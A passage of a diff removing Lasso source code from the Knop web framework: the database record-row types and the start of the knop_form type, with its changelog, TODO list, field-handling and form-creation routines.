-				(self -> 'lockvalue')=(field: (self -> 'lockfield'));
-				(self -> 'lockvalue_encrypted')=(encrypt_blowfish: (field: (self -> 'lockfield')), -seed=(self -> 'lock_seed'));
-			/if;
-		/if;
-		if: error_code == 0;
-			// populate recorddata with field values from the first found record
-			iterate: field_names, local: 'field_name';
-				(self -> 'recorddata') !>> #field_name 
-					? (self -> 'recorddata') -> (insert: #field_name  =  (field: #field_name) );
-			/iterate;
-		else;
-			(self -> 'debug_trace') -> (insert: tag_name + ': ' + error_msg);
-		/if;
-		(self -> 'debug_trace') -> (insert: tag_name + ': found_count ' + (self -> 'found_count') + ' ' + (self -> 'keyfield') + ' '+ (field: (self -> 'keyfield')) + ' keyfield_value ' + keyfield_value + ' keyvalue ' + (self -> 'keyvalue') + ' fieldcount ' + (field_name: -count));
-
-	/define_tag;
-
-/define_type;
-
-
-define_type('databaserows',
-	-namespace='knop_');
-	local('version'='2009-01-08',
-		'description'='Custom type to return all record rows from knop_database. Used as output for knop_database->records. ');
-/*
-
-CHANGE NOTES
-2009-01-08	JS	->_unknowntag: Added -index parameter
-2008-11-24	JS	Created the type
-
-
-*/
-
-	local('records_array'=array,
-		'field_names'=array,
-		'field_names_map'=map,
-		'current_record'=integer);
-		
-	define_tag('oncreate', -description='Create a record rows object. \n\
-			Parameters:\n\
-			-records_array (array) Array of arrays with field values for all fields for each record of all found records
-			-field_names (array) Array with all the field names',
-		-required='records_array',
-		-required='field_names');
-		self -> 'records_array'=#records_array;
-		self -> 'field_names'=#field_names;
-		// store indexes to first occurrence of each field name for faster access
-		iterate(#field_names, local('field_name'));
-			(self -> 'field_names_map') !>> #field_name 
-				? (self -> 'field_names_map') -> insert(#field_name=loop_count);
-		/iterate;
-	/define_tag;
-	
-	define_tag('_unknowntag', -description='Shortcut to field',
-		-optional='index');
-		!local_defined('index') ? local('index'=1);
-		if(self -> 'field_names' >> tag_name);
-			return(self -> field(tag_name(-index=#index)));
-		else;
-			//fail: -9948, self -> type + '->' + tag_name + ' not known.';
-		/if;
-	/define_tag;
-
-	define_tag('onconvert', -description='Output the current record as a plain array of field values');
-		!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		if(#recordindex >= 1 
-			&& #recordindex <= (self -> 'records_array' -> size));
-			return(self -> 'records_array' -> get(#recordindex));
-		/if;
-	/define_tag;
-
-	define_tag('size');
-		return(self -> 'records_array' -> size);
-	/define_tag;
-
-	define_tag('get', -required='index');
-		return(knop_databaserow(-record_array=(self -> 'records_array' -> get(#index)), -field_names=(self -> 'field_names')));
-	/define_tag;
-
-	define_tag('field', -description='Return an individual field value',
-		-required='fieldname',
-		-optional='recordindex',
-		-optional='index');
-		!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		!local_defined('index') ? local('index'=1);
-		if(self -> 'field_names_map' >> #fieldname 
-			&& #recordindex >= 1 
-			&& #recordindex <= (self -> 'records_array') -> size);
-			// return specific record
-			if(#index==1);
-				// return first ocurrence of field name through the index map - this is faster
-				return(self -> 'records_array' -> get(#recordindex) -> get(self -> 'field_names_map' -> find(#fieldname)));
-			else;
-				// return another occurrence of the field - this is slightly slower
-				local('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));
-				if(#index >= 1 && #index <= #indexmatches -> size);
-					return(self -> 'records_array' -> get(#recordindex) -> get(#indexmatches -> get(#index)));
-				/if;
-			/if;
-		/if;
-	/define_tag;
-
-	define_tag('summary_header', -description='Returns true if the specified field name has changed since the previous record, or if we are at the first record',
-		-required='fieldname');
-		local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		if(#recordindex == 1 // first record
-			|| self -> field(#fieldname) != self -> field(#fieldname, -recordindex=(#recordindex - 1)) ); // different than previous record (look behind)
-			return(true);
-		else;
-			return(false);
-		/if;
-	/define_tag;
-
-	define_tag('summary_footer', -description='Returns true if the specified field name will change in the following record, or if we are at the last record',
-		-required='fieldname');
-		local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		if(#recordindex == (self -> 'records_array') -> size // last record
-			|| self -> field(#fieldname) != self -> field(#fieldname, -recordindex=(#recordindex + 1)) ); // different than next record (look ahead)
-			return(true);
-		else;
-			return(false);
-		/if;
-	/define_tag;
-
-
-	define_tag('next', -description='Increments the record pointer, returns true if there are more records to show, false otherwise.');
-		if((self -> 'current_record') < (self -> 'records_array') -> size);
-			(self -> 'current_record') += 1;
-			return(true);
-		else;
-			// reset record pointer
-			(self -> 'current_record') = 0;
-			return(false);
-		/if;
-	/define_tag;
-/define_type;
-
-
-
-define_type('databaserow',
-	-namespace='knop_',
-	//-prototype, // prototype prevents the namespace from unloading without restart
-	);
-	local: 'version'='2009-01-08',
-		'description'='Custom type to return individual record rows from knop_database. Used as output for knop_database->get. ';
-/*
-
-CHANGE NOTES
-2009-01-08	JS	->_unknowntag: Added -index parameter
-2008-11-24	JS	->field: Added -index parameter to be able to access any occurrence of the same field name
-2008-05-29	JS	Removed -prototype since it prevents unloading the namespace. It is recommended to turn it on for best performance
-2008-05-27	JS	Created the type
-
-
-*/
-	local('record_array'=array,
-		'field_names'=array);
-		
-	define_tag('oncreate', -description='Create a record row object. \n\
-			Parameters:\n\
-			-record_array (array) Array with field values for all fields for the record
-			-field_names (array) Array with all the field names, should be same size as -record_array',
-		-required='record_array',
-		-required='field_names');
-		self -> 'record_array'=#record_array;
-		self -> 'field_names'=#field_names;
-	/define_tag;
-	
-	define_tag('_unknowntag', -description='Shortcut to field',
-		-optional='index');
-		!local_defined('index') ? local('index'=1);
-		if(self -> 'field_names' >> tag_name);
-			return(self -> field(tag_name, -index=#index));
-		else;
-			//fail: -9948, self -> type + '->' + tag_name + ' not known.';
-		/if;
-	/define_tag;
-
-	define_tag('onconvert', -description='Output the record as a plain array of field values');
-		return(self -> 'record_array');
-	/define_tag;
-
-
-	define_tag('field', -description='Return an individual field value',
-		-required='fieldname',
-		-optional='index');
-		!local_defined('index') ? local('index'=1);
-		if(self -> 'field_names' >> #fieldname);
-			// return any occurrence of the field
-			local('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));
-			if(#index >= 1 && #index <= #indexmatches -> size);
-				return((self -> 'record_array') -> get(#indexmatches -> get(#index)));
-			/if;
-		/if;
-	/define_tag;
-
-
-/define_type;
-?>
-[
-//------------------------------------------------------------------
-//    End knop_database
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_form
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'form', 
-	'knop_base',
-	-namespace='knop_';
-//	-prototype; 
-
-	local: 'version'='2011-02-28',
-		'description'='Custom type to handle forms.';
-
-/*
-
-CHANGE NOTES
-2011-02-28	JS	->addfield: Added -template to specify field specific template 
-2010-11-22	SP	->init: Correction of -lockvalue handling after L9 syntax adjustment
-2010-07-18	SP	Added support for series for -options
-2010-06-10	JS	->renderform: avoid adding -upload parameters to post forms since it conflicts with file uploads (found by Steve Piercy)
-2010-04-21	JS	->renderhtml:  removed encode_html for label
-2010-03-06	SP	Changed default behavior of ->updatefields with -sql to add backticks between the table and column names.  Now JOINs may be used.
-2010-03-06	SP	Added ->updatefields with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.
-2009-11-11	JS	Added class and id to optiongroup div that surrounds for checkbox and radio
-2009-11-11	JS	Corrected id for checkbox and radio option labels
-2009-10-02	JS	Added id for labels, auto generated from the field's id with _label appended
-2009-09-16	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	Changed $__html_reply__ to content_body
-2009-09-04	JS	->renderhtml: corrected typ for autoparams
-2009-07-23	JS	->renderform: removed encode_html that somehow has reappeared for label. 
-2009-07-10	SP	added -maxlength option for text fields
-2009-06-26	JS	->oncreate: added deprecation warning for -action
-2009-06-22	JS	->addfield: corrected -options check to look for set instead of series (besides array)
-2009-04-16	JS	->loadfileds can now load field values from -params also inside an inline
-2009-03-20	JS	Added  <![CDATA[ ... ]]>  around injected scripts for better xhtml compliance
-2009-01-08	JS	->getvalue and _unknowntag: added -index parameter to be able to get value for a specific field instance when there are multiple fields with the same name 
-2009-01-08	JS	->loadfields: implemented support for multiple fields with the same name when loading field values from form submission where the number of same name fields matches
-2009-01-07	JS	->setvalue: added -index parameter to be able to set value for a specific field instance when there are multiple fields with the same name 
-2008-12-08	JS	->renderform: Removed the onclick handlers for checkbox and radio since Safari now supports clicking the label text as click for the checkbox/radio control. 
-2008-12-05	JS	->renderform: the fieldset and legend field types will now use id and class on the fieldset tag if specified
-2008-12-03	JS	->renderform: fields of type fieldset now uses value as legend (just as field type legend already did) instead of always using an empty legend
-2008-09-24	JS	->updatefields: Added protection against backtick sql injection in MySQL object names
-2008-09-17	JS	->renderform and ->renderhtml: -from and -to allows negative numbers to count from end of form instead
-2008-09-13	JS	Added ->getlabel to return the display name for a field. 
-2008-09-13	JS	->addfield and ->validate: Implemented -validate to specify a compound expression to validate the field input. 
-2008-09-13	JS	->addfield and ->loadfields: Implemented -filter to specify a compound expression to filter the field input. 
-2008-09-11	JS	->updatefields: fixed exclusion of special field types html, legend and fieldset. 
-2008-09-11	JS	->renderform: Fixed missing value for password fields
-2008-07-02	JS	->renderform: Cleaned up the automatic adding of javascript code so it's not added if not needed. Also moved all scripts to the end of the page. More work with with the javascripts is needed.
-2008-06-03	JS	->renderform: corrected missing closing </fieldset>
-2008-05-15	JS	->renderform and ->renderhtml: adjusted the behavior for nested fieldsets
-2008-05-13	JS	Implemented -legend for ->renderhtml, to make it consistent with the new legend field type
-2008-05-13	JS	Implemented special field types html, fieldset and legend. Use -value to display data for these fields. A legend field also creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. 
-2008-05-06	JS	Added unknowntag as shortcut to getvalue
-2008-01-30	JS	Removed duplicate endscript entries for if(dirty) {makedirty()};
-2007-12-13	JS	Corrected ->addfield: -dbfield so empty dbfields are properly ignored by ->updatefields. 
-2007-12-11	JS	Moved error_msg to knop_base (special version of error_code stays here) 
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-11-13	JS	Added -buttontemplate to be able to specify separate template for buttons, defaults to no <br>, but if template has been specified that will be used instead (for backwards compatibility)
-2007-11-12	JS	->process delete now works also when not using record locking (not specifying -user)
-2007-11-01	JS	->renderform: added support for -hint for textarea fields.
-2007-09-27	JS	->renderhtml: multiple values (array) for radio, checkbox and select are now rendered properly with either "," or <br> depending on the presence of -linebreak, and with the display text instead of the actual option value
-2007-09-27	JS	->renderform: improved handling of multiple values for checkbox, radio and select
-2007-09-21	JS	->addfield: flag parameters now accept false as value
-2007-09-06	JS	->oncreate: changed name of -action to -formaction to make it more clear what it is. -action is still supported but deprecated.
-2007-09-06	JS	->renderform: Corrected the exception for -session... (duh)
-2007-08-08	JS	->renderform: Added exception for -session
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-12	JC	bugfixed -xhtml form rendering when called by quicksearch
-2007-06-11	JC	added handling of xhtml output
-2007-04-19	JS	->loadfields: fixed -params that was broken when adding -database
-2007-04-19	JS	->renderform: removed invalid wrap="soft" from textarea
-2007-04-12	JS	->process: made -user optional (only needed when using record locking)
-2007-04-12	JS ->loadfields can now take a -database parameter, either as a flag (no value) where the database object connected to the form will be used, or by specifying a database object as value. 
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	->renderform fixed unsavedwarning on page load by moving checkdirty() to afterscript
-2007-03-01	JS	->formmode and ->init changed so it preserves the right mode after a failed add
-2007-02-27	JS	->renderform: added <div class="inputgroup"> around checkboxes and radios for css formating
-2007-02-26	JS	->oncreate: added -actionpath to specify the framework action path for the form instead of manually adding the -action hidden field
-2007-02-24	JS	Corrected entersubmitblock behavior by adding onfocus handler on form and starting with submitBlock=false
-2007-02-23	JS	Removed encode_html from form field labels
-2007-02-22	JS	->setformat: Added -legend
-2007-02-07	JS	Added ->copyfield to copy a form field to a new name, with the same properties. 
-2007-02-07	JS	->errors now returns empty array if validate has not been called, instead of performing validation
-2007-02-05	JS	->getbutton can now look for also button names that are not one of the built-in ones (for example button_apply)
-2007-02-05	JS The -keyvalue parameter can be given another name by specifying -keyparamname in oncreate
-2007-02-02	JS	Added ->lockvalue_decrypted
-2007-02-02	JS	->addfield: -value is now stored as reference
-2007-02-02	JS	error_code now returns an error for when the form contains validation errors
-2007-02-02	JS	Improved reporting of Lasso error messaged in error_msg
-2007-02-02	JS 	Added real error codes
-2007-01-31	JS	->rederform action_params now also exclude "-" params that appear in the form action
-2007-01-29	JS	->renderform: The first field with input error will get focus when loading page
-2007-01-29	JS	Added -focus to ->addfield to give default field focus when loading page with form
-2007-01-29	JS	Added -disabled to ->addfield, and handling of it in ->renderform
-2007-01-29	JS	Added -noautoparams to ->oncreate to disable the automatic passing of action_params that begin with "-"
-2007-01-29	JS	->renderform now renders label also for submit, reset to format properly with css
-2007-01-26	JS	Added support for Safari specific <input type="search">
-2007-01-26	JS	->renderform action_params that begin with "-" now exclude params that exist in the form. Minor corrections to the behavior. 
-2007-01-25	JS	Added -nowarning to ->oncreate to disable unsaved warnings for the entire form
-2007-01-25	JS	Added -required to ->oncreate (and a few more from ->setformat)
-2007-01-23	JS	Autogenerates id for the form itself
-2007-01-23	JS	Added ->getbutton to return the button that was clicked when submitting a form (cancel, add, save, delete)
-2007-01-23	JS	Added auto conversion of options left hand pair member to string, to make comparsions work reliably. Integer zeros don't compare nicely to strings. 
-2007-01-23	JS	Added support for submit-on-enter prevention: specify -entersubmitblock at oncreate
-2007-01-19	JS	Addes renderform: -legend to be able to group form fields at render time
-2007-01-19	JS	added support for -optgroup in -options for select. Also works for radio and checkbox. Specify empty -optgroup to close optgroup in select without starting a new, or to add extra linebreak between checkboxes/radio buttons. 
-2007-01-19	JS	added -template for oncreate
-2007-01-19	JS	added optional fieldset and legend to form, legend can be specified as -legend at oncreate. if -legend is specified, the form will be wrapped in a fieldset. 
-2007-01-19	JS	method now defaults to post
-2007-01-19	JS	Corrected line separator for FileMaker checkboxes and added the same handling also for radio
-2007-01-18	JS	renderform: any action_params that begin with "-" (except -keyvalue and -lockvalue) are added as form parameters
-2007-01-18	JS	renderform: checkboxes and multiselects now show checked and selected properly when loading values from database
-2007-01-18	JS	updatefields: added support for multiple values for one fieldname, like checkboxes (multiple fields in the update pair array, -sql generates comma separated values)
-2007-01-17	JS	reset button now makes form undirty
-2007-01-17	JS	addfield: -confirmmessage can now be specified for any submit or reset button
-2007-01-17	JS	added addfield: -nowarning to avoid unsaved warning when the field is changed
-2007-01-17	JS	changed default class name for unsaved marker from dirty to unsaved
-2007-01-17	JS	changed name of -dirtymarker and -dirtymarkerclass to unsavedmarker and -unsavedmarkerclass for userfriendlyness
-2007-01-17	JS	added setformat: -unsavedwarning to dynamically set the javascript form dirty warning message
-2007-01-17	JS	renderform: -field changed to renderform: -name for consistency
-2007-01-16	JS	renderform: -field with wrong field name does not output anything, instead of the entire form
-2007-01-16	JS	fixed onbeforeunload in javascript form dirty handler
-
-TODO:
-->addfield: Add -format to manipulate the field value before it is displayed by ->renderform and ->renderhtml, much like -filter but only for display and without affecting input. 
-->addfield: Add -fieldgroup to be able to group related fields together, useful for ->updatefields to return just fields that belong to a specific db table, or ->renderform as another way to render a form selectively
-->renderform needs a better way to display errors inline together with the fields
-Make _unknowntag also work as shortcut to setvalue if a value is specified
-Add a new special field type to the form object, let's say "data". That field type will not interact with forms and will never be touched by loadfields, but it will populate ->updatefields.
-Add -> searchfields, which will return a fulltext enabled pair array better suited for searchs than ->updatefields is. -fulltext needs to be specified per field. 
-Review and clean up the javascripts inserted automatically by knop_form - partially done
-Option to let textarea grow automatically depending on the amount of text in it.  
-Use http://bassistance.de/jquery-plugins/jquery-plugin-validation/ instead of client side validation
-Possibly add support for the same validation expressions as the jquery validation plugin uses, so server side a nd client side validation can be specified at once. 
-Add -path as parameter for oncreate so the form action can be set with less confusion...  In that case -formaction will be a physical url, while -path would be a framework path. 
-Fix actionpath reference so it updates properly when altering the value (not possible?)
-Should loadfields load "-" params?
-Unsavedwarning made optional, does not seem to work properly now?
-More flexible error hightlighting
-Move templates to a member tag to be make it easier to subclass (Douglas Burchard)
-Add "button". <button></button>. Subtypes are submit, reset and button. How to specify the subtype? (Douglas Burchard)
-Change ->addfield to ->insert and make ->addfield deprecated
-There is no src for input type image!
-Add ->size and ->get so the form object can be iterated
-Add -skipemtpy to to ->renderhtml
-Option for -> renderhtml to output without html encoding
-->renderhtml should never html encode fields of type html
-
-*/
-	
-
-	// instance variables
-	local: 'fields'=array,
-		'template'=string,			// html template used to render the html form fields
-		'buttontemplate'=string,	// html template used to render the html buttons (submit, reset, image)
-		'class'=string,				// default class for all form fields, can be overridden field by field
-		'errorclass'=string,		// class used to highlight field labels when validation fails
-		'formaction'=null,
-		'method'='post',
-		'fieldset'=false,			// html form fieldset
-		'legend'=null,				// html form legend
-		'name'=null,
-		'id'=null,
-		'raw'=null,
-		'enctype'=null,				// is automatically set to multipart/formdata if the form contains a file input
-		'actionpath'=null,
-		'noautoparams'=false,		// if true then no parameters that begin with - will be automatically added to the form
-		'fieldsource'=null,			// the source of the latest -> loadfields, can be database, form or params
-		'required'=string,			// marker used to show fields that are required (html or plain string)
-		'entersubmitblock'=false,	// if true, a javascript will prevent form submit without clicking on submit button (like pressing enter key)
-		'unsavedmarker'=null,
-		'unsavedmarkerclass'=null,
-		'unsavedwarning'=string,	// must be specified, or else there is no unsaved warning for the form
-		'database'=null,
-		'keyparamname'=string,		// param name to use instead of the default -keyvalue
-		'formmode'=null,			// whether the form is for editing an existing record or a blank for for adding a new record (edit/add)
-									// only valid if a database object is specified
-		'formbutton'=null,			// the button that was clicked when submitting a form (cancel, add, save, delete)
-		'db_keyvalue'=null,
-		'db_lockvalue'=null,
-		
-		'render_fieldset_open'=false,	// used when rendering to keep track of if a fieldset from fieldset or legend field types is open so it can be closed properly
-		'render_fieldset2_open'=false,	// used when rendering to keep track of if a fieldset from renderform or renderhtml legend is open so it can be closed properly
-		'noscript'=false,				// when set to true, no scripts will be injected by renderform
-		'error_lang'=(knop_lang: -default='en', -fallback);
-	
-	local: 'errors'=null;
-
-
-	// config vars
-	local: 'validfieldtypes' = (map: 'text', 'password', 'checkbox', 'radio', 'textarea', 'select', 'file', 'search',
-				'submit', 'reset', 'image', 'hidden', 
-				'fieldset', 'legend', 'html'), // special types
-		'exceptionfieldtypes' = (map: 'file', 'submit', 'reset', 'image', 'addbutton', 'savebutton', 'deletebutton', 'cancelbutton',
-				'fieldset', 'legend', 'html'); // special types
-	local: 'validfieldtypes_array'=array;
-	iterate: #validfieldtypes, (local: 'temp');
-		#validfieldtypes_array -> (insert: #temp -> name);
-	/iterate;
-	local: 'exceptionfieldtypes_array'=array;
-	iterate: #exceptionfieldtypes, (local: 'temp');
-		#exceptionfieldtypes_array -> (insert: #temp -> name);
-	/iterate;
-	
-	// page var to keep track of the number of forms that have been rendered on a page
-	if: !(var_defined: 'knop_form_renderform_counter');
-		var: 'knop_form_renderform_counter'=0;
-	/if;
-	
-
-	define_tag: 'oncreate', -description='Parameters:\n\
-			-formaction (optional) The action atribute in the form html tag\n\
-			-action (optional) Deprecated synonym to -formaction\n\
-			-method (optional) Defaults to post\n\
-			-name (optional)\n\
-			-id (optional)\n\
-			-raw (optional) Anything in this parameter will be put in the opening form tag\n\
-			-actionpath (optional) Knop action path\n\
-			-fieldset (optional)\n\
-			-legend (optional string) legend for the entire form - if specified, a fieldset will also be wrapped around the form\n\
-			-entersubmitblock (optional)\n\
-			-noautoparams (optional)\n\
-			-template (optional string) html template, defaults to #label# #field##required#<br>\n\
-			-buttontemplate (optional string) html template for buttons, defaults to #field# but uses -template if specified\n\
-			-required (optional string) character(s) to display for required fields (used for #required#), defaults to *\n\
-			-class (optional string) css class name that will be used for the form element, default none\n\
-			-errorclass (optional string) css class name that will be used for the label to highlight input errors, if not defined style="color: red" will be used\n\
-			-unsavedmarker (optional string) id for html element that should be used to indicate when the form becomes dirty. \n\
-			-unsavedmarkerclass (optional string) class name to use for the html element. Defaults to "unsaved". \n\
-			-unsavedwarning (optional string)\n\
-			-keyparamname (optional)\n\
-			-noscript (optional flag) if specified, don\'t inject any javascript in the form. This will disable all client side functionality such as hints, focus and unsaved warnings. \n\
-			-database (optional database) Optional database object that the form object will interact with',
-		// parameters for form html tag attributes
-		-optional='formaction',
-		-optional='action',
-		-optional='method',
-		-optional='name',
-		-optional='id',
-		-optional='raw',
-
-		// knop parameters
-		-optional='actionpath',
-		-optional='fieldset',
-		-optional='legend', 
-		-optional='entersubmitblock',
-		-optional='noautoparams',
-		-optional='template', -type='string',
-		-optional='buttontemplate', -type='string',
-		-optional='required', -type='string',
-		-optional='class', -type='string',
-		-optional='errorclass', -type='string',
-		-optional='unsavedmarker', -type='string',
-		-optional='unsavedmarkerclass', -type='string',
-		-optional='unsavedwarning', -type='string',
-		-optional='keyparamname',
-		-optional='noscript',
-		-optional='database', -type='database';
-		local: 'timer'=knop_timer; 
-
-
-		local_defined('method') ? (self -> 'method') = #method;
-		local_defined('name') ? (self -> 'name') = #name;
-		local_defined('id') ? (self -> 'id') = #id;
-		local_defined('raw') ? (self -> 'raw') = #raw;
-		local_defined('legend') ? (self -> 'legend') = #legend;
-		local_defined('template') ? (self -> 'template') = #template;
-		local_defined('buttontemplate') ? (self -> 'buttontemplate') = #buttontemplate;
-		local_defined('required') ? (self -> 'required') = #required;
-		local_defined('class') ? (self -> 'class') = #class;
-		local_defined('errorclass') ? (self -> 'errorclass') = #errorclass;
-		local_defined('unsavedmarker') ? (self -> 'unsavedmarker') = #unsavedmarker;
-		local_defined('unsavedmarkerclass') ? (self -> 'unsavedmarkerclass') = #unsavedmarkerclass;
-		local_defined('unsavedwarning') ? (self -> 'unsavedwarning') = #unsavedwarning;
-		local_defined('keyparamname') ? (self -> 'keyparamname') = #keyparamname;
-
-		// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. 
-		local_defined('formaction') ? (self -> 'formaction') = @#formaction;
-		local_defined('actionpath') ? (self -> 'actionpath') = @#actionpath;
-		local_defined('database') ? (self -> 'database') = @#database;
-
-		if: !(local_defined: 'formaction') && (local_defined: 'action');
-			// keep support for old -action insead of -formaction
-			(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' -action parameter is deprecated, use -formaction instead ');
-			(self -> 'formaction') = @#action;
-		/if;
-		
-		(self -> 'noscript') = (local_defined('noscript') && #noscript != false);
-
-		// default value
-		!(local_defined: 'required') ? (self -> 'required' = '*');
-		!(local_defined: 'keyparamname') ? (self -> 'keyparamname' = '-keyvalue');
-
-		(self -> 'fieldset') = ((local_defined: 'fieldset') && #fieldset != false) || (self -> 'legend') != '';
-		(self -> 'entersubmitblock') = (local_defined: 'entersubmitblock');
-		(self -> 'noautoparams') = (local_defined: 'noautoparams');
-
-
-		if: (self -> 'unsavedmarker') != '' && (self -> 'unsavedmarkerclass') == '';
-			// set default unsavedmarkerclass
-			(self -> 'unsavedmarkerclass')='unsaved';
-		/if;
-
-		if: (self -> 'unsavedwarning') == '';
-			// set default dirtywarning message
-			//(self -> 'unsavedwarning')='Det finns ändringar som inte har sparats - vill du fortsätta utan att spara?';
-		/if;
-		
-		// escape quotes for javascript
-		(self -> 'unsavedwarning') -> (replace: '\'', '\\\'');
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	/*
-	define_tag: 'onassign', -description='Internal, needed to restore references when ctype is defined as prototype',
-		-required='value'; 
-		// recreate references here
-
-		iterate: (array: 
-			'formaction',
-			'actionpath',
-			'database'), (local: 'param');
-			(self -> #param) = @(#value -> #param);
-		/iterate;
-
-	/define_tag;
-	*/
-	
-	define_tag: 'onconvert', -description='Outputs the form data in very basic form, just to see what it contains',
-		-optional='xhtml';
-		local: 'timer'=knop_timer; 
-
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		local: 'output'=string;
-		iterate: (self -> 'fields'), (local: 'fieldpair');
-			#output += #fieldpair -> name + ' = ' + #fieldpair -> value + '    <br' + #endslash + '>\n';
-		/iterate;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #output;
-	/define_tag;
-	
-	define_tag: '_unknowntag', -description='Shortcut to getvalue',
-		-optional='index', -type='integer', -copy;
-		!local_defined('index') ? local('index') = 1;
-		if: (self -> 'fields') >> tag_name; // should be (self -> keys) but this is faster
-			return: (self -> (getvalue: tag_name, -index=#index));
-		else;
-			//fail: -9948, self -> type + '->' + tag_name + ' not known.';
-			(self -> '_debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');
-		/if;
-	/define_tag;
-	
-	define_tag: 'addfield', -description='Inserts a form element in the form. \n\
-			Parameters:\n\
-			-type (required) Supported types are listed in form -> \'validfieldtypes_array\'. Also custom field types addbuton, savebutton or deletebutton are supported (translated to submit buttons with predefined names). \
-			For the field types html, fieldset and legend use -value to specify the data to display for these fields. A legend field automatically creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. \n\
-			-name (optional) Required for all input types except addbuton, savebutton, deletebutton, fieldset, legend and html\n\
-			-id (optional) id for the html object, will be autogenerated if not specified\n\
-			-dbfield (optional) Corresponding database field name (name is used if dbfield is not specified), or null/emtpy string if ignore this field for database\n\
-			-value (optional) Initial value for the field\n\
-			-hint (optional) Optional gray hint text to show in empty text field\n\
-            -options (optional) For select, checkbox and radio, must be array, set or series. For select, the array can contain -optgroup=label to create an optiongroup. \n\ 
-			-multiple (optional flag) Used for select\n\
-			-linebreak (optional flag) Put linebreaks between checkbox and radio values\n\
-			-default (optional) Default text to display in a popup menu, will be selected (with empty value) if no current value is set. Is followed by an empty option. \n\
-			-label (optional) Text label for the field\n\
-			-size (optional) Used for text and select\n\
-			-maxlength (optional) Used for text\n\
-			-rows (optional) Used for textarea\n\
-			-cols (optional) Used for textarea\n\
-			-focus (optional flag) The first text field with this parameter specified will get focus when page loads\n\
-			-class (optional)\n\
-			-disabled (optional flag) The form field will be rendered as disabled\n\
-			-raw (optional) Raw attributes that will be put in the html tag\n\
-			-confirmmessage (optional) Message to show in submit/reset confirm dialog (delete button always shows confirm dialog)\n\
-			-required (optional flag) If specified then the field must not be empty (very basic validation)\n\
-			-validate (optional) Compound expression to validate the field input. The input can be accessed as params inside the expression which should either return true for valid input or false for invalid, or return 0 for valid input or a non-zero error code or error message string for invalid input. \n\
-			-filter (optional) Compound expression to filter the input before it is loaded into the form by ->loadfields. The field value can be accessed as params inside the expression which should return the filtered field value. -filter is applied before validation. \n\
-			-nowarning (optional flag) If specified then changing the field will not trigger an unsaved warning\n\
-			-after (optional) Numeric index or name of field to insert after\n\
-			-template (optional) Format string that will override global template or buttontemplate',
-		-required='type',
-		-optional='name',
-		-optional='id',	
-		-optional='dbfield',
-		-optional='value',
-		-optional='hint',
-		-optional='options',
-		-optional='multiple',
-		-optional='linebreak',
-		-optional='default',
-		-optional='label',
-		-optional='size',
-		-optional='maxlength',
-		-optional='rows',
-		-optional='cols',
-		-optional='focus',
-		-optional='class',
-		-optional='disabled',
-		-optional='raw',
-		-optional='confirmmessage',
-		-optional='required',
-		-optional='validate', -type='tag',
-		-optional='filter', -type='tag',
-		-optional='nowarning',
-		-optional='after',
-		-optional='template';
-		// TODO: add optiontemplate to be able to format individual options
-		local: 'timer'=knop_timer; 
-		
-		local: '_type'=(local: 'type'), '_name'=(local: 'name'), 'originaltype'=(local: 'type');
-		if: (map: 'addbutton', 'savebutton', 'deletebutton', 'cancelbutton') >> #_type;
-			#originaltype = #_type;
-			#_name = 'button_' + #_type;
-			#_name -> (removetrailing: 'button');
-			#_type = 'submit';
-		else: #_type == 'reset' && (local: 'name') == '';
-			#_name = 'button_' + #_type;
-		else: (map: 'legend', 'fieldset', 'html') >> #_type && (local: 'name') == '';
-			#_name = #_type;
-		else;
-			fail_if: (local: 'name') == '', -9956, 'form->addfield missing required parameter -name';
-		/if;
-		
-		
-		fail_if: !((self -> 'validfieldtypes') >> #_type), 7102, self -> error_msg(7202);
-		fail_if: (map: 'select', 'radio', 'checkbox') >> #_type 
-			&& (local: 'options') -> type != 'array' 
-			&& (local: 'options') -> type != 'set' 
-			&& (local: 'options') -> type != 'series', 
-			-9956, 'Field type ' #_type ' requires -options array, set or series'; 
-		local: 'index'= (self -> 'fields') -> size + 1;
-		(local_defined: 'after') 	? (#after -> type == 'string' && (self -> 'fields') >> #after 
-										? #index = (integer: ((self -> 'fields') -> (findindex: #after) -> first)) + 1
-										| #after -> type == 'integer' ? #index= #after + 1);
-		if: #_type == 'file';
-			(self -> 'enctype') ='multipart/form-data';
-			(self -> 'method') = 'post';
-		/if;
-		local: 'field'=(map: 
-			'required'=(local_defined: 'required') 		&& #required != false,
-			'multiple'=(local_defined: 'multiple') 		&& #multiple != false,
-			'linebreak'=(local_defined: 'linebreak') 	&& #linebreak != false,
-			'focus'=(local_defined: 'focus') 			&& #focus != false,
-			'nowarning'=(local_defined: 'nowarning') 	&& #nowarning != false,
-			'disabled'=(local_defined: 'disabled') 		&& #disabled != false
-			);
-		if: (self -> 'exceptionfieldtypes') >> #_type;
-			// || (map: 'legend', 'fieldset', 'html') >> #_type;
-			// never make certain field types required
-			#field -> insert('required'=false);
-		/if;
-
